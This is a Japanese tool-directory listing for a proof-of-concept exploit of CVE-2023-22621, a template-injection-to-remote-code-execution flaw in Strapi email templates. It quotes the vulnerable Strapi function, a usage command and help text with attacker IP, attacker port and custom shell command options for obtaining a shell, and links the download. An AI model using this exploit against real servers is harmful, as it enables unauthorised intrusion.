Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-22621-POC — CVE-2023-22621: メールテンプレートを悪用したSSTIからRCEへの攻撃、Strapiバージョン4.5.5以下に影響 | Kitploit
ツール/GitHubGitHub/sofianeelhor/cve-2023-22621-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミングペイロード開発
GitHubsofianeelhor/cve-2023-22621-poc

CVE-2023-22621-POC

CVE-2023-22621: メールテンプレートを悪用したSSTIからRCEへの攻撃、Strapiバージョン4.5.5以下に影響

リポジトリを見る
2553年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-22621-POC

CVE-2023-22621: メールテンプレートを悪用したSSTIからRCEへの昇格。Strapi バージョン <=4.5.5に影響

関数sendTemplatedEmailは、lodashテンプレートエンジンを使用してメールテンプレートをHTMLコンテンツにレンダリングします。このテンプレートエンジンはテンプレート内のJavaScriptコードを評価します。参照: https://twitter.com/rootxharsh/status/1268181937127997446?lang=en

root@kitploit:~
'use strict';

const _ = require('lodash');

const getProviderSettings = () => {
  return strapi.config.get('plugin.email');
};

const send = async (options) => {
  return strapi.plugin('email').provider.send(options);
};

/**
 * fill subject, text and html using lodash template
 * @param {object} emailOptions - to, from and replyto...
 * @param {object} emailTemplate - object containing attributes to fill
 * @param {object} data - data used to fill the template
 * @returns {{ subject, text, subject }}
 */
const sendTemplatedEmail = (emailOptions = {}, emailTemplate = {}, data = {}) => {
  const attributes = ['subject', 'text', 'html'];
  const missingAttributes = _.difference(attributes, Object.keys(emailTemplate));
  if (missingAttributes.length > 0) {
    throw new Error(
      `Following attributes are missing from your email template : ${missingAttributes.join(', ')}`
    );
  }

POC

使用方法

python3 CVE-2023-22621.py -url http://strapi.local:1337/ -u "[email protected]" -p "$Securep4ss" -ip 127.0.0.1 -port 4545

root@kitploit:~
options:
  -h, --help            show this help message and exit
  -url URL              URL of the Strapi instance
  -u U                  Admin username
  -p P                  Admin password
  -ip IP                Attacker IP
  -port PORT            Attacker port
  -url_redirect         URL to redirect after email confirmation
  -custom CUSTOM        Custom shell command to execute

クレジット

すべての功績は元の脆弱性発見者 GhostCcamm に帰属します。素晴らしい詳細記事はこちらをご覧ください。

ツールをダウンロード